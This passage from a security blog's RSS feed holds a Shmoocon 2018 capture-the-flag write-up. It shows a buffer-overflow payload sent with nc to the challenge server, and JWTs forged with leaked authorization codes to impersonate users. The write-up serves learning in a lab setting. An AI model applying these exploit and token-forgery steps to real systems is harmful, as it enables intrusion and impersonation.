&#39;a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab\n&quot;)<br>RDI: 0x0 <br>RBP: 0x6241326241316241 (&#39;Ab1Ab2Ab&#39;)<br>RSP: 0x7fffffffe0d8 (&quot;3Ab4Ab5Ab\n&quot;)</pre><pre>...SNIP...</pre><pre>Legend: code, data, rodata, value<br>Stopped reason: SIGSEGV<br>0x00005555555548c1 in comms_txt ()<br>gdb-peda$</pre><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 50 -q 0x6241326241316241<br>[*] Exact match at offset 33</pre><p>Now to verify that I can control the value of RBP, I regenerate the following payload</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# python -c&#39;print &quot;\x13\x37\x00&quot; + &quot;A&quot; * 31 + &quot;B&quot; * 16&#39; &gt; in2.txt<br>root@kali:/mnt/hgfs/kali64/zuma/bin# exit<br>exit<br>gdb-peda$ r &lt; in2.txt<br>Starting program: /mnt/hgfs/kali64/zuma/bin/zuma &lt; in2.txt<br>Self Destruct: 0x555555554ad0<br>deploy: 0x555555554b25<br>[I] Processing comms module<br>[I] Received: &#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB<br>&#39;</pre><pre>Program received signal SIGSEGV, Segmentation fault.</pre><pre>[----------------------------------registers-----------------------------------]<br>RAX: 0x0 <br>RBX: 0x0 <br>RCX: 0x0 <br>RDX: 0x0 <br>RSI: 0x555555757260 (&quot;&#39;\n] Received: &#39;&quot;, &#39;A&#39; &lt;repeats 30 times&gt;, &#39;B&#39; &lt;repeats 16 times&gt;, &quot;\n&quot;)<br>RDI: 0x0 <br>RBP: 0x4242424242424242 (&#39;BBBBBBBB&#39;)</pre><pre>...SNIP...</pre><pre>Legend: code, data, rodata, value<br>Stopped reason: SIGSEGV<br>0x00005555555548c1 in comms_txt ()</pre><p>I control RBP which means I control the return value for the <strong>comms_txt()</strong> function. Now I just need to know the address to put there, luckily the program tells me.</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# nc satsim.shmoocon2018.aerstone.com 3000<br>Self Destruct: 0x555555554b36<br>deploy: 0x555555554b8b<br>[E] Failed to read header</pre><p>So I send the payload and get the flag</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# python -c&#39;print &quot;\x13\x37\x00&quot; + &quot;\x90&quot; *(41) + &quot;\x36\x4b\x55\x55\x55\x55\x00\x00&quot;&#39; &gt; in.txt | nc satsim.shmoocon2018.aerstone.com 3000 &lt; in.txt<br>Satellite Destroyed!</pre><pre>VICTORY! FLAG{27c66ea7-415d-4ede-a79e-674d4dbc6036}</pre><h3>04 — GTN 3/3</h3><p>Objective:</p><blockquote>Once you have a functioning payload, now you need to transmit it.</blockquote><blockquote>Use the GTN to transmit a valid and authorized message.</blockquote><blockquote>Earlier we intercepted a message sent to the ISS. Maybe it can be of use to you.</blockquote><blockquote>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkJlcnJ5X1N1bW1lcnMiLCJkYXRhIjoiVlZWRVJFeFNURkpDUVFvPSJ9.0nMwjRVXgO9zsptjyTFdP6qE1FKwXpo-2QeUEIfuVEc</blockquote><blockquote><a href="https://gtn.shmoocon2018.aerstone.com/?page=adjust_dish">https://gtn.shmoocon2018.aerstone.com/?page=adjust_dish</a></blockquote><blockquote><strong>NOTE:</strong> You will receive a flag after successfully transmitting a message through the GTN</blockquote><p>Solution:</p><p>Immediatly, I can see that it is using a JWT token with the following information</p><pre>Header:<br>{<br> &quot;typ&quot;: &quot;JWT&quot;,<br> &quot;alg&quot;: &quot;HS256&quot;<br>}<br>Payload:<br>{<br> &quot;username&quot;: &quot;Berry_Summers&quot;,<br> &quot;data&quot;: &quot;VVVERExSTFJCQQo=&quot;<br>}</pre><p>What I don’t know is the signature, however I do have admin access to the GTN for which we can generate an employee report. The report contains the Authorization Code for all of the employees</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NzZFRvlUfcjnys3KTmdA1w.png" /></figure><p>I can see the Authorization Code for Berry Summers and using <a href="https://jwt.io/">jwt.io</a> I can verify the signature</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfUEcgeNTF-rqodV80saDg.png" /></figure><p>Unfortunately, I can’t use Berry Summers, see the below screenshots to see why.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*Xs8vb7j8y2wJ5K7EGqgfiA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*jlEbDnmVSv7uuYYz7ilUbg.png" /></figure><p>Instead, I picked out a different user from the list, Penny Solomon with Authorization Code of <strong>5J2F8LG426 </strong>and crafted a new JWT.</p><pre>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IlBlbm55X1NvbG9tb24iLCJkYXRhIjoiVlZWRVJFeFNURkpDUVFvPSIsImp0aSI6Ijk4ZWUyMmMwLTdkYjUtNGE3YS1hMzEwLWE1YTQ4MThhOGQxOCIsImlhdCI6MTUxNjU2MTM4OSwiZXhwIjoxNTE2NTY0OTg5fQ.Il6LkaN-i94MPWfUayGvmDjokEvWUFWcNNOb8P6gDw4</pre><p>And got my flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*h-wRRPEvnV1_bJ-DH8sDcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*In8WGco98Gd763pUtyz3yw.png" /></figure><h3>All Together Now</h3><p><strong>Objective</strong>:</p><pre>One, two, three, four, <br>Can I have a little more, <br>Five, six, seven, eight, nine, ten, <br>I hax you.</pre><blockquote>Takedown</blockquote><blockquote>Once you have:</blockquote><blockquote>- Accessed the GTN</blockquote><blockquote>- Calculated the satellite position</blockquote><blockquote>- Crafted a successful payload</blockquote><blockquote>- Packaged it all up nicely</blockquote><blockquote>You can then send your payload to the satellite.</blockquote><blockquote><a href="https://gtn.shmoocon2018.aerstone.com/">https://gtn.shmoocon2018.aerstone.com</a></blockquote><blockquote>NOTE: Validation is done against current times.</blockquote><p><strong>Solution</strong>:</p><p>Remember that TLE from challenge 2? That’s important here:</p><pre>ZUMA<br>1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9991<br>2 43098  51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89755</pre><p>First, I needed to fix the TLE, this required a fair bit of study on TLE format. What I learn is that the last digit on lines 2 and 3 are the checksum value which is wrong in both lines.</p><p>In order to calculate the checksum, first you add up all the values. All non-digits except for the ‘-’ equal 0, ‘-’ equals 1. So for line 2 we have.</p><pre>1+4+3+0+9+8+0+1+8+0+0+1+0+1+7+3+4+8+0+2+2+5+6+8+3+7+7+0+0+0+0+0+1+9+3+0+0+0+0+0+0+1+0+3+6+3+7+2+1+4+0+9+9+9=165</pre><p>Then take the result and mod 10 it.</p><pre>165 % 10 = 5</pre><p>So now the second line becomes</p><pre>1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9995</pre><p>Repeat the process for the last line and now I have a properly formatted TLE</p><pre>ZUMA<br>1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9995<br>2 43098  51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89759</pre><p>The next part of the challenge was to find a valid transmitter to use to communicate with the satalite. I created a CSV of all the transmitters from <a href="https://gtn.shmoocon2018.aerstone.com/index.php?page=transmitter_report">https://gtn.shmoocon2018.aerstone.com/index.php?page=transmitter_report</a> and used the following script to calculate which would return a valid azimuth and elevation as negative elevation is not possible, otherwise we are shoving the transmitter into the ground :)</p><pre>import ephem, datetime, csv, re<br>import numpy as np</pre><pre>l1 = &quot;ZUMA&quot;<br>l2 = &quot;1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9995&quot;<br>l3 = &quot;2 43098  51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89759&quot;<br>sat = ephem.readtle(l1,l2,l3)<br>ga = ephem.Observer()<br>now = datetime.datetime.utcnow()</pre><pre>with open(&#39;stations.csv&#39;, &#39;rb&#39;) as file:<br> read = csv.reader(file, delimiter=&#39;,&#39;)<br> for r in read:<br>  ga.lat, ga.lon, ga.date = r[1], r[2], str(now)<br>  elevation = re.sub(&#39;m&#39;, &#39;&#39;, r[3])<br>  elevation = re.sub(&#39; &#39;, &#39;&#39;, elevation)<br>  ga.elevation = float(elevation)<br>  sat.compute(ga)<br>  if np.degrees(sat.alt) &lt; 0:<br>          print &quot;\033[91m[-] Invalid&quot;<br>  else:<br>   print &quot;\033[92m[+] Valid&quot;</pre><pre>print &quot;%s: %.8f %8f\n&quot; % (r[0],np.degrees(sat.az),np.degrees(sat.alt))</pre><p>Keep in mind that this is time based, so the valid transmission station will change depending on the current UTC time. Running it just now produced the following results</p><pre>[-] Invalid<br>Canberra Deep Space Communication Complex: DSS-34: 318.09532414 -55.197399</pre><pre>[-] Invalid<br>Canberra Deep Space Communication Complex: DSS-35: 318.09532414 -55.197399</pre><pre>[-] Invalid<br>Canberra Deep Space Communication Complex: DSS-36: 318.09532414 -55.197399</pre><pre>[-] Invalid<br>Canberra Deep Space Communication Complex: DSS-43: 318.09532414 -55.197399</pre><pre>[-] Invalid<br>Bukit Timah Satellite Earth Station: 334.22126417 -26.450271</pre><pre>[-] Invalid<br>Mount Pleasant Radio Observator: 316.30854665 -57.608711</pre><pre>[-] Invalid<br>White Sands Ground Terminal (WSGT): 4.04035571 -46.182362</pre><pre>[-] Invalid<br>Second TDRSS Ground Terminal (STGT): 4.03794679 -46.160064</pre><pre>[-] Invalid<br>Guam Remote Ground Terminal (GRGT): 320.34641789 -33.543175</pre><pre>[-] Invalid<br>Air Force Space Communications Network: 320.34636324 -33.542875</pre><pre>[-] Invalid<br>Goldstone Deep Space Communications Complex: 357.76820473 -44.785243</pre><pre>[-] Invalid<br>Goonhilly Satellite Earth Station-1: 58.65497350 -17.340131</pre><pre>[-] Invalid<br>Goonhilly Satellite Earth Station-2: 58.65215263 -17.341468</pre><pre>[-] Invalid<br>Goonhilly Satellite Earth Station-3: 58.65184527 -17.341560</pre><pre>[-] Invalid<br>Goonhilly Satellite Earth Station-4: 58.65197504 -17.340968</pre><pre>[-] Invalid<br>Goonhilly Satellite Earth Station-5: 58.65618927 -17.338323</pre><pre>[-] Invalid<br>AT&amp;T: 21.91821194 -38.965212</pre><pre>[-] Invalid<br>SANSA: 23.25788695 -40.554610</pre><pre>[-] Invalid<br>Kaena Point: 333.73205870 -46.822425</pre><pre>[-] Invalid<br>Swakopmund: 29.54945082 -41.809289</pre><pre>[-] Invalid<br>Troll: 48.47370569 -64.966301</pre><pre>[-] Invalid<br>Lurin: 29.17091491 -64.743500</pre><pre>[+] Valid<br>RSC Zheleznogorsk: 265.23312970 4.444074</pre><p>As you can see, only one is valid, <strong>RSC Zheleznogorsk.</strong></p><p>The next step is to find a user in the system who can transmit from that system, generate a JWT with a valid signature using their Authorization Code, and base64 encode our payload from challenge 03.</p><p>This will take trial and error as not every user is permitted to use every transmission station.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*sx7OItJg9S01ekO4yUnbHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*pncgB02IcUePvo98JqtkQQ.png" /></figure><h3>THE END</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6543af0672fa" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pentestsec/aerstone-ctf-for-shmoocon-2018-6543af0672fa">Aerstone CTF | Shmoocon 2018</a> was originally published in <a href="https://medium.com/pentestsec">Pentestsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RickdiculouslyEasy Walkthrough — Vulnhub]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/pentestsec/rickdiculouslyeasy-vulnhub-16a54ac2a8e1?source=rss----352a2928fdfd---4"><img src="https://cdn-images-1.medium.com/max/850/1*99hctQLxmnx0Df0rhVxW1g.gif" width="850"></a></p><p class="medium-feed-snippet">This is a walktrough of a Rick y Morty based vulnhub named &#x201C;RickdiculouslyEasy&#x201D;</p><p class="medium-feed-link"><a href="https://medium.com/pentestsec/rickdiculouslyeasy-vulnhub-16a54ac2a8e1?source=rss----352a2928fdfd---4">Continue reading on Pentestsec »</a></p></div>]]></description>
            <link>https://medium.com/pentestsec/rickdiculouslyeasy-vulnhub-16a54ac2a8e1?source=rss----352a2928fdfd---4</link>
            <guid isPermaLink="false">https://medium.com/p/16a54ac2a8e1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[rick-and-morty]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Syscall59 — Alan Vivona]]></dc:creator>
            <pubDate>Sat, 28 Apr 2018 02:14:12 GMT</pubDate>
            <atom:updated>2019-09-26T09:44:08.852Z</atom:updated>
        </item>
    </channel>
</rss>